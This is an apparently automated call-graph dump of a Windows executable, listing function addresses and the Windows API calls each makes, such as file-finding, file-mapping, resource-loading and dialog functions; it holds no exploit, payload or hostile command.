24151->24577 24152->24075 24154 f1a592 24154->24152 24155 f1a597 FindClose 24154->24155 24155->24152 24156->24078 24158 f113e1 __EH_prolog 24157->24158 24159 f1ce40 8 API calls 24158->24159 24160 f11419 24159->24160 24161 f2eb38 8 API calls 24160->24161 24164 f11474 _abort 24160->24164 24162 f11461 24161->24162 24162->24164 24305 f1b505 24162->24305 24164->24131 24166 f11a0e __EH_prolog 24165->24166 24178 f11a61 24166->24178 24181 f11b9b 24166->24181 24321 f113ba 24166->24321 24169 f11bc7 24324 f1138b 74 API calls 24169->24324 24171 f13b2d 101 API calls 24174 f11c12 24171->24174 24172 f11bd4 24172->24171 24172->24181 24173 f11c5a 24177 f11c8d 24173->24177 24173->24181 24325 f1138b 74 API calls 24173->24325 24174->24173 24176 f13b2d 101 API calls 24174->24176 24176->24174 24177->24181 24182 f19e80 79 API calls 24177->24182 24178->24169 24178->24172 24178->24181 24179 f13b2d 101 API calls 24180 f11cde 24179->24180 24180->24179 24180->24181 24181->24138 24182->24180 24183 f19e80 79 API calls 24183->24178 24343 f1cf3d 24184->24343 24186 f18440 24347 f213d2 GetSystemTime SystemTimeToFileTime 24186->24347 24188 f183a3 24188->24141 24189 f21b66 24188->24189 24348 f2de6b 24189->24348 24193 f11f72 __EH_prolog 24192->24193 24195 f11fa6 24193->24195 24356 f119af 24193->24356 24195->24145 24197 f13b39 24196->24197 24198 f13b3d 24196->24198 24197->24145 24207 f19e80 79 API calls 24198->24207 24199 f13b4f 24200 f13b78 24199->24200 24201 f13b6a 24199->24201 24512 f1286b 101 API calls 3 library calls 24200->24512 24206 f13baa 24201->24206 24511 f132f7 89 API calls 2 library calls 24201->24511 24204 f13b76 24204->24206 24513 f120d7 74 API calls 24204->24513 24206->24145 24207->24199 24209 f18498 __EH_prolog 24208->24209 24214 f184d5 24209->24214 24219 f18513 24209->24219 24538 f28c8d 103 API calls 24209->24538 24210 f184f5 24212 f184fa 24210->24212 24213 f1851c 24210->24213 24212->24219 24539 f17a0d 152 API calls 24212->24539 24213->24219 24540 f28c8d 103 API calls 24213->24540 24214->24210 24216 f1857a 24214->24216 24214->24219 24216->24219 24514 f15d1a 24216->24514 24219->24145 24220 f18605 24220->24219 24520 f18167 24220->24520 24223 f18797 24224 f1a56d 7 API calls 24223->24224 24225 f18802 24223->24225 24224->24225 24526 f17c0d 24225->24526 24227 f1d051 82 API calls 24233 f1885d 24227->24233 24228 f1898b 24543 f12021 74 API calls 24228->24543 24229 f18992 24230 f18a5f 24229->24230 24237 f189e1 24229->24237 24234 f18ab6 24230->24234 24249 f18a6a 24230->24249 24233->24219 24233->24227 24233->24228 24233->24229 24541 f18117 84 API calls 24233->24541 24542 f12021 74 API calls 24233->24542 24241 f18a4c 24234->24241 24546 f17fc0 97 API calls 24234->24546 24235 f18b14 24238 f19105 24235->24238 24256 f18b82 24235->24256 24547 f198bc 24235->24547 24236 f18ab4 24242 f1959a 80 API calls 24236->24242 24237->24235 24237->24241 24243 f1a231 3 API calls 24237->24243 24240 f1959a 80 API calls 24238->24240 24240->24219 24241->24235 24241->24236 24242->24219 24244 f18a19 24243->24244 24244->24241 24544 f192a3 97 API calls 24244->24544 24245 f1ab1a 8 API calls 24247 f18bd1 24245->24247 24250 f1ab1a 8 API calls 24247->24250 24249->24236 24545 f17db2 101 API calls 24249->24545 24269 f18be7 24250->24269 24254 f18b70 24551 f16e98 77 API calls 24254->24551 24256->24245 24257 f18e40 24262 f18e52 24257->24262 24263 f18e66 24257->24263 24282 f18d49 24257->24282 24258 f18d18 24260 f18d8a 24258->24260 24261 f18d28 24258->24261 24259 f18cbc 24259->24257 24259->24258 24267 f18167 19 API calls 24260->24267 24264 f18d6e 24261->24264 24272 f18d37 24261->24272 24265 f19215 123 API calls 24262->24265 24266 f23377 75 API calls 24263->24266 24264->24282 24554 f177b8 111 API calls 24264->24554 24265->24282 24268 f18e7f 24266->24268 24273 f18dbd 24267->24273 24275 f23020 123 API calls 24268->24275 24269->24259 24270 f18c93 24269->24270 24276 f1981a 79 API calls 24269->24276 24270->24259 24552 f19a3c 82 API calls 24270->24552 24553 f12021 74 API calls 24272->24553 24278 f18df5 24273->24278 24279 f18de6 24273->24279 24273->24282 24275->24282 24276->24270 24556 f19155 93 API calls __EH_prolog 24278->24556 24555 f17542 85 API calls 24279->24555 24285 f18f85 24282->24285 24557 f12021 74 API calls 24282->24557 24284 f19090 24284->24238 24286 f1a4ed 3 API calls 24284->24286 24285->24238 24285->24284 24287 f1903e 24285->24287 24532 f19f09 SetEndOfFile 24285->24532 24288 f190eb 24286->24288 24533 f19da2 24287->24533 24288->24238 24558 f12021 74 API calls 24288->24558 24291 f19085 24293 f19620 77 API calls 24291->24293 24293->24284 24294 f190fb 24559 f16dcb 76 API calls 24294->24559 24297 f116a4 24296->24297 24575 f1cee1 86 API calls 24297->24575 24301 f19f59 24300->24301 24302 f19f63 24301->24302 24576 f16d0c 78 API calls 24301->24576 24302->24132 24304->24138 24306 f1b50f __EH_prolog 24305->24306 24311 f1f1d0 82 API calls 24306->24311 24308 f1b521 24312 f1b61e 24308->24312 24311->24308 24313 f1b630 _abort 24312->24313 24316 f210dc 24313->24316 24319 f2109e GetCurrentProcess GetProcessAffinityMask 24316->24319 24320 f1b597 24319->24320 24320->24164 24326 f11732 24321->24326 24323 f113d6 24323->24183 24324->24181 24325->24177 24327 f11748 24326->24327 24338 f117a0 __InternalCxxFrameHandler 24326->24338 24328 f11771 24327->24328 24339 f16c36 76 API calls __vswprintf_c_l 24327->24339 24330 f117c7 24328->24330 24335 f1178d ___std_exception_copy 24328->24335 24332 f33e3e 22 API calls 24330->24332 24331 f11767 24340 f16ca7 75 API calls 24331->24340 24334 f117ce 24332->24334 24334->24338 24342 f16ca7 75 API calls 24334->24342 24335->24338 24341 f16ca7 75 API calls 24335->24341 24338->24323 24339->24331 24340->24328 24341->24338 24342->24338 24344 f1cf4d 24343->24344 24346 f1cf54 24343->24346 24345 f1981a 79 API calls 24344->24345 24345->24346 24346->24186 24347->24188 24349 f2de78 24348->24349 24350 f1e617 53 API calls 24349->24350 24351 f2de9b 24350->24351 24352 f14092 _swprintf 51 API calls 24351->24352 24353 f2dead 24352->24353 24354 f2d4d4 16 API calls 24353->24354 24355 f21b7c 24354->24355 24355->24141 24357 f119bf 24356->24357 24360 f119bb 24356->24360 24361 f19e80 79 API calls 24357->24361 24358 f119d4 24362 f118f6 24358->24362 24360->24195 24361->24358 24363 f11945 24362->24363 24364 f11908 24362->24364 24370 f13fa3 24363->24370 24365 f13b2d 101 API calls 24364->24365 24368 f11928 24365->24368 24368->24360 24372 f13fac 24370->24372 24371 f13b2d 101 API calls 24371->24372 24372->24371 24374 f11966 24372->24374 24387 f20e08 24372->24387 24374->24368 24375 f11e50 24374->24375 24376 f11e5a __EH_prolog 24375->24376 24395 f13bba 24376->24395 24378 f11e84 24379 f11732 78 API calls 24378->24379 24382 f11f0b 24378->24382 24380 f11e9b 24379->24380 24423 f118a9 78 API calls 24380->24423 24382->24368 24383 f11eb3 24385 f11ebf _wcslen 24383->24385 24424 f21b84 MultiByteToWideChar 24383->24424 24425 f118a9 78 API calls 24385->24425 24388 f20e0f 24387->24388 24389 f20e2a 24388->24389 24393 f16c31 RaiseException _com_raise_error 24388->24393 24390 f20e3b SetThreadExecutionState 24389->24390 24394 f16c31 RaiseException _com_raise_error 24389->24394 24390->24372 24393->24389 24394->24390 24396 f13bc4 __EH_prolog 24395->24396 24397 f13bf6 24396->24397 24398 f13bda 24396->24398 24400 f13e51 24397->24400 24402 f13c22 24397->24402 24451 f1138b 74 API calls 24398->24451 24476 f1138b 74 API calls 24400->24476 24414 f13be5 24402->24414 24426 f23377 24402->24426 24404 f13c9f 24405 f13ca3 24404->24405 24453 f120bd 78 API calls 24404->24453 24406 f13d2e 24405->24406 24422 f13c9a 24405->24422 24454 f1d051 24405->24454 24436 f1ab1a 24406->24436 24408 f13c71 24408->24404 24408->24405 24409 f13c8f 24408->24409 24452 f1138b 74 API calls 24409->24452 24414->24378 24415 f13d41 24416 f13dd7 24415->24416 24417 f13dc7 24415->24417 24460 f23020 24416->24460 24440 f19215 24417->24440 24420 f13dd5 24420->24422 24469 f12021 74 API calls 24420->24469 24470 f22297 24422->24470 24423->24383 24424->24385 24425->24382 24427 f2338c 24426->24427 24429 f23396 ___std_exception_copy 24426->24429 24477 f16ca7 75 API calls 24427->24477 24430 f2341c 24429->24430 24431 f234c6 24429->24431 24435 f23440 _abort 24429->24435 24478 f232aa 75 API calls 3 library calls 24430->24478 24479 f3238d RaiseException 24431->24479 24434 f234f2 24435->24408 24437 f1ab28 24436->24437 24439 f1ab32 24436->24439 24438 f2eb38 8 API calls 24437->24438 24438->24439 24439->24415 24441 f1921f __EH_prolog 24440->24441 24480 f17c64 24441->24480 24444 f113ba 78 API calls 24445 f19231 24444->24445 24483 f1d114 24445->24483 24447 f1928a 24447->24420 24449 f1d114 118 API calls 24450 f19243 24449->24450 24450->24447 24450->24449 24492 f1d300 97 API calls __InternalCxxFrameHandler 24450->24492 24451->24414 24452->24422 24453->24405 24455 f1d072 24454->24455 24456 f1d084 24454->24456 24493 f1603a 82 API calls 24455->24493 24494 f1603a 82 API calls 24456->24494 24459 f1d07c 24459->24406 24461 f23052 24460->24461 24462 f23029 24460->24462 24468 f23046 24461->24468 24509 f2552f 123 API calls 2 library calls 24461->24509 24463 f23048 24462->24463 24465 f2303e 24462->24465 24462->24468 24508 f2624a 118 API calls 24463->24508 24495 f26cdc 24465->24495 24468->24420 24469->24422 24472 f222a1 24470->24472 24471 f222ba 24510 f20eed 86 API calls 24471->24510 24472->24471 24475 f222ce 24472->24475 24474 f222c1 24474->24475 24476->24414 24477->24429 24478->24435 24479->24434 24481 f1b146 GetVersionExW 24480->24481 24482 f17c69 24481->24482 24482->24444 24490 f1d12a __InternalCxxFrameHandler 24483->24490 24484 f1d29a 24485 f1d2ce 24484->24485 24486 f1d0cb 6 API calls 24484->24486 24487 f20e08 SetThreadExecutionState RaiseException 24485->24487 24486->24485 24489 f1d291 24487->24489 24488 f28c8d 103 API calls 24488->24490 24489->24450 24490->24484 24490->24488 24490->24489 24491 f1ac05 91 API calls 24490->24491 24491->24490 24492->24450 24493->24459 24494->24459 24496 f2359e 75 API calls 24495->24496 24506 f26ced __InternalCxxFrameHandler 24496->24506 24497 f1d114 118 API calls 24497->24506 24498 f270fe 24499 f25202 98 API calls 24498->24499 24500 f2710e __InternalCxxFrameHandler 24499->24500 24500->24468 24501 f211cf 81 API calls 24501->24506 24502 f23e0b 118 API calls 24502->24506 24503 f27153 118 API calls 24503->24506 24504 f20f86 88 API calls 24504->24506 24505 f277ef 123 API calls 24505->24506 24506->24497 24506->24498 24506->24501 24506->24502 24506->24503 24506->24504 24506->24505 24507 f2390d 98 API calls 24506->24507 24507->24506 24508->24468 24509->24468 24510->24474 24511->24204 24512->24204 24513->24206 24515 f15d2a 24514->24515 24560 f15c4b 24515->24560 24517 f15d5d 24519 f15d95 24517->24519 24565 f1b1dc CharUpperW CompareStringW ___vcrt_FlsSetValue _wcslen 24517->24565 24519->24220 24522 f18186 24520->24522 24521 f18232 24571 f21fac CharUpperW 24521->24571 24522->24521 24572 f1be5e 19 API calls __InternalCxxFrameHandler 24522->24572 24525 f1823b 24525->24223 24527 f17c22 24526->24527 24528 f17c5a 24527->24528 24573 f16e7a 74 API calls 24527->24573 24528->24233 24530 f17c52 24574 f1138b 74 API calls 24530->24574 24532->24287 24534 f19db3 24533->24534 24537 f19dc2 24533->24537 24535 f19db9 FlushFileBuffers 24534->24535 24534->24537 24535->24537 24536 f19e3f SetFileTime 24536->24291 24537->24536 24538->24214 24539->24219 24540->24219 24541->24233 24542->24233 24543->24229 24544->24241 24545->24236 24546->24241 24548 f18b5a 24547->24548 24549 f198c5 GetFileType 24547->24549 24548->24256 24550 f12021 74 API calls 24548->24550 24549->24548 24550->24254 24551->24256 24552->24259 24553->24282 24554->24282 24555->24282 24556->24282 24557->24285 24558->24294 24559->24238 24566 f15b48 24560->24566 24563 f15b48 2 API calls 24564 f15c6c 24563->24564 24564->24517 24565->24517 24569 f15b52 24566->24569 24567 f15c3a 24567->24563 24567->24564 24569->24567 24570 f1b1dc CharUpperW CompareStringW ___vcrt_FlsSetValue _wcslen 24569->24570 24570->24569 24571->24525 24572->24521 24573->24530 24574->24528 24576->24302 24578 f1a6a8 24577->24578 24579 f1a6c1 FindFirstFileW 24578->24579 24580 f1a727 FindNextFileW 24578->24580 24582 f1a6d0 24579->24582 24587 f1a709 24579->24587 24581 f1a732 GetLastError 24580->24581 24580->24587 24581->24587 24583 f1bb03 GetCurrentDirectoryW 24582->24583 24584 f1a6e0 24583->24584 24585 f1a6e4 FindFirstFileW 24584->24585 24586 f1a6fe GetLastError 24584->24586 24585->24586 24585->24587 24586->24587 24587->24154 24597 f2a5e4 GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 24588->24597 24590 f2a5cd 24591 f2a5d9 24590->24591 24598 f2a605 GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 24590->24598 24591->23812 24591->23813 24593->23816 24594->23822 24595->23822 24596->23825 24597->24590 24598->24591 24599->23833 24601 f19f42 78 API calls 24600->24601 24602 f11fe8 24601->24602 24603 f11a04 101 API calls 24602->24603 24606 f12005 24602->24606 24604 f11ff5 24603->24604 24604->24606 24607 f1138b 74 API calls 24604->24607 24606->23841 24606->23842 24607->24606 24609 f2b583 GetMessageW 24608->24609 24610 f2b5bc GetDlgItem 24608->24610 24611 f2b5a8 TranslateMessage DispatchMessageW 24609->24611 24612 f2b599 IsDialogMessageW 24609->24612 24610->23852 24610->23853 24611->24610 24612->24610 24612->24611 25373 f294e0 GetClientRect 25408 f221e0 26 API calls std::bad_exception::bad_exception 25431 f2f2e0 46 API calls __RTC_Initialize 25432 f3bee0 GetCommandLineA GetCommandLineW 24613 f2eae7 24614 f2eaf1 24613->24614 24617 f2e85d 24614->24617 24643 f2e5bb 24617->24643 24619 f2e86d 24620 f2e8ca 24619->24620 24631 f2e8ee 24619->24631 24621 f2e7fb DloadReleaseSectionWriteAccess 6 API calls 24620->24621 24622 f2e8d5 RaiseException 24621->24622 24623 f2eac3 24622->24623 24624 f2e966 LoadLibraryExA 24625 f2e9c7 24624->24625 24626 f2e979 GetLastError 24624->24626 24630 f2e9d9 24625->24630 24632 f2e9d2 FreeLibrary 24625->24632 24627 f2e9a2 24626->24627 24628 f2e98c 24626->24628 24633 f2e7fb DloadReleaseSectionWriteAccess 6 API calls 24627->24633 24628->24625 24628->24627 24629 f2ea37 GetProcAddress 24634 f2ea47 GetLastError 24629->24634 24638 f2ea95 24629->24638 24630->24629 24630->24638 24631->24624 24631->24625 24631->24630 24631->24638 24632->24630 24635 f2e9ad RaiseException 24633->24635 24642 f2ea5a 24634->24642 24635->24623 24637 f2e7fb DloadReleaseSectionWriteAccess 6 API calls 24639 f2ea7b RaiseException 24637->24639 24652 f2e7fb 24638->24652 24640 f2e5bb ___delayLoadHelper2@8 6 API calls 24639->24640 24641 f2ea92 24640->24641 24641->24638 24642->24637 24642->24638 24644 f2e5c7 24643->24644 24645 f2e5ed 24643->24645 24660 f2e664 24644->24660 24645->24619 24647 f2e5cc 24648 f2e5e8 24647->24648 24663 f2e78d 24647->24663 24668 f2e5ee GetModuleHandleW GetProcAddress GetProcAddress 24648->24668 24651 f2e836 24651->24619 24653 f2e82f 24652->24653 24654 f2e80d 24652->24654 24653->24623 24655 f2e664 DloadReleaseSectionWriteAccess 3 API calls 24654->24655 24656 f2e812 24655->24656 24657 f2e82a 24656->24657 24658 f2e78d DloadProtectSection 3 API calls 24656->24658 24671 f2e831 GetModuleHandleW GetProcAddress GetProcAddress DloadReleaseSectionWriteAccess 24657->24671 24658->24657 24669 f2e5ee GetModuleHandleW GetProcAddress GetProcAddress 24660->24669 24662 f2e669 24662->24647 24665 f2e7a2 DloadProtectSection 24663->24665 24664 f2e7a8 24664->24648 24665->24664 24666 f2e7dd VirtualProtect 24665->24666 24670 f2e6a3 VirtualQuery GetSystemInfo 24665->24670 24666->24664 24668->24651 24669->24662 24670->24666 24671->24653 25374 f2f4e7 29 API calls _abort 25409 f1f1e8 FreeLibrary 25375 f2f4d3 20 API calls 24680 f2e1d1 14 API calls ___delayLoadHelper2@8 25448 f3a3d0 21 API calls _free 24681 f110d5 24686 f15abd 24681->24686 24687 f15ac7 __EH_prolog 24686->24687 24688 f1b505 84 API calls 24687->24688 24689 f15ad3 24688->24689 24693 f15cac GetCurrentProcess GetProcessAffinityMask 24689->24693 25449 f42bd0 VariantClear 24694 f2e2d7 24696 f2e1db 24694->24696 24695 f2e85d ___delayLoadHelper2@8 14 API calls 24695->24696 24696->24695 25434 f30ada 51 API calls 2 library calls 24761 f2dec2 24762 f2decf 24761->24762 24763 f1e617 53 API calls 24762->24763 24764 f2dedc 24763->24764 24765 f14092 _swprintf 51 API calls 24764->24765 24766 f2def1 SetDlgItemTextW 24765->24766 24767 f2b568 5 API calls 24766->24767 24768 f2df0e 24767->24768 25411 f2b5c0 100 API calls 25450 f277c0 118 API calls 25451 f2ffc0 RaiseException _com_raise_error _com_error::_com_error 25435 f262ca 123 API calls __InternalCxxFrameHandler 24781 f2f3b2 24782 f2f3be ___scrt_is_nonwritable_in_current_image 24781->24782 24813 f2eed7 24782->24813 24784 f2f3c5 24785 f2f518 24784->24785 24788 f2f3ef 24784->24788 24886 f2f838 IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter _abort 24785->24886 24787 f2f51f 24879 f37f58 24787->24879 24800 f2f42e ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 24788->24800 24824 f38aed 24788->24824 24795 f2f40e 24797 f2f48f 24832 f2f953 GetStartupInfoW _abort 24797->24832 24799 f2f495 24833 f38a3e 51 API calls 24799->24833 24800->24797 24882 f37af4 38 API calls 2 library calls 24800->24882 24803 f2f49d 24834 f2df1e 24803->24834 24807 f2f4b1 24807->24787 24808 f2f4b5 24807->24808 24809 f2f4be 24808->24809 24884 f37efb 28 API calls _abort 24808->24884 24885 f2f048 12 API calls ___scrt_uninitialize_crt 24809->24885 24812 f2f4c6 24812->24795 24814 f2eee0 24813->24814 24888 f2f654 IsProcessorFeaturePresent 24814->24888 24816 f2eeec 24889 f32a5e 24816->24889 24818 f2eef1 24823 f2eef5 24818->24823 24897 f38977 24818->24897 24821 f2ef0c 24821->24784 24823->24784 24825 f38b04 24824->24825 24826 f2fbbc __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 24825->24826 24827 f2f408 24826->24827 24827->24795 24828 f38a91 24827->24828 24829 f38ac0 24828->24829 24830 f2fbbc __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 24829->24830 24831 f38ae9 24830->24831 24831->24800 24832->24799 24833->24803 24948 f20863 24834->24948 24838 f2df3d 24997 f2ac16 24838->24997 24840 f2df46 _abort 24841 f2df59 GetCommandLineW 24840->24841 24842 f2dfe6 GetModuleFileNameW SetEnvironmentVariableW GetLocalTime 24841->24842 24843 f2df68 24841->24843 24844 f14092 _swprintf 51 API calls 24842->24844 25031 f2c5c4 83 API calls 24843->25031 24846 f2e04d SetEnvironmentVariableW GetModuleHandleW LoadIconW 24844->24846 25001 f2b6dd LoadBitmapW 24846->25001 24847 f2df6e 24849 f2dfe0 24847->24849 24850 f2df76 OpenFileMappingW 24847->24850 25033 f2dbde SetEnvironmentVariableW SetEnvironmentVariableW 24849->25033 24853 f2dfd6 CloseHandle 24850->24853 24854 f2df8f MapViewOfFile 24850->24854 24853->24842 24856 f2dfa0 __InternalCxxFrameHandler 24854->24856 24857 f2dfcd UnmapViewOfFile 24854->24857 25032 f2dbde SetEnvironmentVariableW SetEnvironmentVariableW 24856->25032 24857->24853 24862 f290b7 8 API calls 24864 f2e0aa DialogBoxParamW 24862->24864 24863 f2dfbc 24863->24857 24865 f2e0e4 24864->24865 24866 f2e0f6 Sleep 24865->24866 24867 f2e0fd 24865->24867 24866->24867 24870 f2e10b 24867->24870 25034 f2ae2f CompareStringW SetCurrentDirectoryW _abort _wcslen 24867->25034 24869 f2e12a DeleteObject 24871 f2e13f DeleteObject 24869->24871 24874 f2e146 24869->24874 24870->24869 24871->24874 24872 f2e177 25035 f2dc3b 6 API calls 24872->25035 24873 f2e189 25028 f2ac7c 24873->25028 24874->24872 24874->24873 24877 f2e17d CloseHandle 24877->24873 24878 f2e1c3 24883 f2f993 GetModuleHandleW 24878->24883 25166 f37cd5 24879->25166 24882->24797 24883->24807 24884->24809 24885->24812 24886->24787 24888->24816 24901 f33b07 24889->24901 24893 f32a6f 24894 f32a7a 24893->24894 24915 f33b43 DeleteCriticalSection 24893->24915 24894->24818 24896 f32a67 24896->24818 24944 f3c05a 24897->24944 24900 f32a7d 7 API calls 2 library calls 24900->24823 24903 f33b10 24901->24903 24904 f33b39 24903->24904 24905 f32a63 24903->24905 24916 f33d46 24903->24916 24921 f33b43 DeleteCriticalSection 24904->24921 24905->24896 24907 f32b8c 24905->24907 24937 f33c57 24907->24937 24909 f32ba1 24909->24893 24912 f32baf 24913 f32bbc 24912->24913 24943 f32bbf 6 API calls ___vcrt_FlsFree 24912->24943 24913->24893 24915->24896 24922 f33c0d 24916->24922 24919 f33d7e InitializeCriticalSectionAndSpinCount 24920 f33d69 24919->24920 24920->24903 24921->24905 24923 f33c4f 24922->24923 24924 f33c26 24922->24924 24923->24919 24923->24920 24924->24923 24929 f33b72 24924->24929 24927 f33c3b GetProcAddress 24927->24923 24928 f33c49 24927->24928 24928->24923 24935 f33b7e ___vcrt_FlsSetValue 24929->24935 24930 f33bf3 24930->24923 24930->24927 24931 f33b95 LoadLibraryExW 24932 f33bb3 GetLastError 24931->24932 24933 f33bfa 24931->24933 24932->24935 24933->24930 24934 f33c02 FreeLibrary 24933->24934 24934->24930 24935->24930 24935->24931 24936 f33bd5 LoadLibraryExW 24935->24936 24936->24933 24936->24935 24938 f33c0d ___vcrt_FlsSetValue 5 API calls 24937->24938 24939 f33c71 24938->24939 24940 f33c8a TlsAlloc 24939->24940 24941 f32b96 24939->24941 24941->24909 24942 f33d08 6 API calls ___vcrt_FlsSetValue 24941->24942 24942->24912 24943->24909 24947 f3c073 24944->24947 24945 f2fbbc __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 24946 f2eefe 24945->24946 24946->24821 24946->24900 24947->24945 24949 f2ec50 24948->24949 24950 f2086d GetModuleHandleW 24949->24950 24951 f208e7 24950->24951 24952 f20888 GetProcAddress 24950->24952 24953 f20c14 GetModuleFileNameW 24951->24953 25045 f375fb 42 API calls __vsnwprintf_l 24951->25045 24954 f208a1 24952->24954 24955 f208b9 GetProcAddress 24952->24955 24964 f20c32 24953->24964 24954->24955 24957 f208cb 24955->24957 24957->24951 24958 f20b54 24958->24953 24959 f20b5f GetModuleFileNameW CreateFileW 24958->24959 24960 f20c08 CloseHandle 24959->24960 24961 f20b8f SetFilePointer 24959->24961 24960->24953 24961->24960 24962 f20b9d ReadFile 24961->24962 24962->24960 24965 f20bbb 24962->24965 24967 f20c94 GetFileAttributesW 24964->24967 24968 f20cac 24964->24968 24970 f20c5d CompareStringW 24964->24970 25036 f1b146 24964->25036 25039 f2081b 24964->25039 24965->24960 24969 f2081b 2 API calls 24965->24969 24967->24964 24967->24968 24971 f20cb7 24968->24971 24974 f20cec 24968->24974 24969->24965 24970->24964 24973 f20cd0 GetFileAttributesW 24971->24973 24976 f20ce8 24971->24976 24972 f20dfb 24996 f2a64d GetCurrentDirectoryW 24972->24996 24973->24971 24973->24976 24974->24972 24975 f1b146 GetVersionExW 24974->24975 24977 f20d06 24975->24977 24976->24974 24978 f20d73 24977->24978 24979 f20d0d 24977->24979 24980 f14092 _swprintf 51 API calls 24978->24980 24981 f2081b 2 API calls 24979->24981 24982 f20d9b AllocConsole 24980->24982 24983 f20d17 24981->24983 24984 f20df3 ExitProcess 24982->24984 24985 f20da8 GetCurrentProcessId AttachConsole 24982->24985 24986 f2081b 2 API calls 24983->24986 25046 f33e13 24985->25046 24988 f20d21 24986->24988 24990 f1e617 53 API calls 24988->24990 24989 f20dc9 GetStdHandle WriteConsoleW Sleep FreeConsole 24989->24984 24991 f20d3c 24990->24991 24992 f14092 _swprintf 51 API calls 24991->24992 24993 f20d4f 24992->24993 24994 f1e617 53 API calls 24993->24994 24995 f20d5e 24994->24995 24995->24984 24996->24838 24998 f2081b 2 API calls 24997->24998 24999 f2ac2a OleInitialize 24998->24999 25000 f2ac4d GdiplusStartup SHGetMalloc 24999->25000 25000->24840 25002 f2b70b GetObjectW 25001->25002 25003 f2b6fe 25001->25003 25005 f2b71a 25002->25005 25048 f2a6c2 FindResourceW 25003->25048 25006 f2a5c6 4 API calls 25005->25006 25008 f2b72d 25006->25008 25009 f2b770 25008->25009 25010 f2b74c 25008->25010 25011 f2a6c2 13 API calls 25008->25011 25020 f1da42 25009->25020 25064 f2a605 GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 25010->25064 25013 f2b73d 25011->25013 25013->25010 25015 f2b743 DeleteObject 25013->25015 25014 f2b754 25065 f2a5e4 GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 25014->25065 25015->25010 25017 f2b75d 25066 f2a80c 8 API calls 25017->25066 25019 f2b764 DeleteObject 25019->25009 25075 f1da67 25020->25075 25025 f290b7 25026 f2eb38 8 API calls 25025->25026 25027 f290d6 25026->25027 25027->24862 25029 f2acab GdiplusShutdown CoUninitialize 25028->25029 25029->24878 25031->24847 25032->24863 25033->24842 25034->24870 25035->24877 25037 f1b196 25036->25037 25038 f1b15a GetVersionExW 25036->25038 25037->24964 25038->25037 25040 f2ec50 25039->25040 25041 f20828 GetSystemDirectoryW 25040->25041 25042 f20840 25041->25042 25043 f2085e 25041->25043 25044 f20851 LoadLibraryW 25042->25044 25043->24964 25044->25043 25045->24958 25047 f33e1b 25046->25047 25047->24989 25047->25047 25049 f2a6e5 SizeofResource 25048->25049 25050 f2a7d3 25048->25050 25049->25050 25051 f2a6fc LoadResource 25049->25051 25050->25002 25050->25005 25051->25050 25052 f2a711 LockResource 25051->25052 25052->25050 25053 f2a722 GlobalAlloc 25052->25053 25053->25050 25054 f2a73d GlobalLock 25053->25054 25055 f2a7cc GlobalFree 25054->25055 25056 f2a74c __InternalCxxFrameHandler 25054->25056 25055->25050 25057 f2a754 CreateStreamOnHGlobal 25056->25057 25058 f2a7c5 GlobalUnlock 25057->25058 25059 f2a76c 25057->25059 25058->25055 25067 f2a626 GdipAlloc 25059->25067 25062 f2a7b0 25062->25058 25063 f2a79a GdipCreateHBITMAPFromBitmap 25063->25062 25064->25014 25065->25017 25066->25019 25068 f2a645 25067->25068 25069 f2a638 25067->25069 25068->25058 25068->25062 25068->25063 25071 f2a3b9 25069->25071 25072 f2a3e1 GdipCreateBitmapFromStream 25071->25072 25073 f2a3da GdipCreateBitmapFromStreamICM 25071->25073 25074 f2a3e6 25072->25074 25073->25074 25074->25068 25076 f1da75 __EH_prolog 25075->25076 25077 f1daa4 GetModuleFileNameW 25076->25077 25078 f1dad5 25076->25078 25079 f1dabe 25077->25079 25121 f198e0 25078->25121 25079->25078 25081 f1db31 25132 f36310 25081->25132 25082 f1959a 80 API calls 25084 f1da4e 25082->25084 25083 f1e261 78 API calls 25086 f1db05 25083->25086 25119 f1e29e GetModuleHandleW FindResourceW 25084->25119 25086->25081 25086->25083 25099 f1dd4a 25086->25099 25087 f1db44 25088 f36310 26 API calls 25087->25088 25096 f1db56 ___vcrt_FlsSetValue 25088->25096 25089 f1dc85 25089->25099 25152 f19d70 81 API calls 25089->25152 25091 f19e80 79 API calls 25091->25096 25093 f1dc9f ___std_exception_copy 25094 f19bd0 82 API calls 25093->25094 25093->25099 25097 f1dcc8 ___std_exception_copy 25094->25097 25096->25089 25096->25091 25096->25099 25146 f19bd0 25096->25146 25151 f19d70 81 API calls 25096->25151 25097->25099 25116 f1dcd3 ___vcrt_FlsSetValue _wcslen ___std_exception_copy 25097->25116 25153 f21b84 MultiByteToWideChar 25097->25153 25099->25082 25100 f1e159 25107 f1e1de 25100->25107 25159 f38cce 26 API calls 2 library calls 25100->25159 25103 f1e16e 25160 f37625 26 API calls 2 library calls 25103->25160 25105 f1e1c6 25161 f1e27c 78 API calls 25105->25161 25106 f1e214 25108 f36310 26 API calls 25106->25108 25107->25106 25110 f1e261 78 API calls 25107->25110 25111 f1e22d 25108->25111 25110->25107 25112 f36310 26 API calls 25111->25112 25112->25099 25115 f21da7 WideCharToMultiByte 25115->25116 25116->25099 25116->25100 25116->25115 25154 f1e5b1 50 API calls __vsnprintf 25116->25154 25155 f36159 26 API calls 3 library calls 25116->25155 25156 f38cce 26 API calls 2 library calls 25116->25156 25157 f37625 26 API calls 2 library calls 25116->25157 25158 f1e27c 78 API calls 25116->25158 25120 f1da55 25119->25120 25120->25025 25122 f198ea 25121->25122 25123 f1994b CreateFileW 25122->25123 25124 f1996c GetLastError 25123->25124 25128 f199bb 25123->25128 25125 f1bb03 GetCurrentDirectoryW 25124->25125 25126 f1998c 25125->25126 25127 f19990 CreateFileW GetLastError 25126->25127 25126->25128 25127->25128 25130 f199b5 25127->25130 25129 f199ff 25128->25129 25131 f199e5 SetFileTime 25128->25131 25129->25086 25130->25128 25131->25129 25133 f36349 25132->25133 25134 f3634d 25133->25134 25145 f36375 25133->25145 25162 f391a8 20 API calls _free 25134->25162 25136 f36699 25138 f2fbbc __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 25136->25138 25137 f36352 25163 f39087 26 API calls __cftof 25137->25163 25140 f366a6 